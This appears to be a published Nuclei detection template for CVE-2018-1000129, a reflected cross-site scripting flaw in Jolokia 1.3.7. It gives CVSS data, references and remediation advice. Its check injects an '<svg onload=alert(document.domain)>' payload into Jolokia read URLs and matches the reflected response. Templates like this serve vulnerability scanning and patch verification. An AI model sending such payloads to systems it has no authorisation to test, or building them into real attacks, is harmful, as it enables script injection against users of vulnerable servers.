CVE-2018-1000129: Jolokia 1.3.7 - Cross-Site Scripting

2025-08-01 Jolokia 1.3.7 PoC Public

Description

Jolokia 1.3.7 is vulnerable to cross-site scripting in the HTTP servlet and allows an attacker to execute malicious JavaScript in the victim's browser.

PoC

id: CVE-2018-1000129

info:
  name: Jolokia 1.3.7 - Cross-Site Scripting
  author: mavericknerd,0h1in9e,daffainfo
  severity: medium
  description: |
    Jolokia 1.3.7 is vulnerable to cross-site scripting in the HTTP servlet and allows an attacker to execute malicious JavaScript in the victim's browser.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Jolokia or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://jolokia.org/#Security_fixes_with_1.5.0
    - https://github.com/rhuss/jolokia/commit/5895d5c137c335e6b473e9dcb9baf748851bbc5f#diff-f19898247eddb55de6400489bff748ad
    - https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html
    - https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000129
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-1000129
    cwe-id: CWE-79
    epss-score: 0.24674
    epss-percentile: 0.97776
    cpe: cpe:2.3:a:jolokia:jolokia:1.3.7:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: jolokia
    product: jolokia
  tags: cve2018,cve,jolokia,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html"
      - "{{BaseURL}}/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<svg onload=alert(document.domain)>"
          - "java.lang.IllegalArgumentException"
          - "No type with name"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100807287536426586a21357f59a2a291ecd6c1049fcc3d30176404da0a4f8e8c09022058bbea366c5a1a900ad32718c249a18697b1405d36eaf7ac2b3bb765e0bfa8d7:922c64590222798bb761d5b6d8e72950

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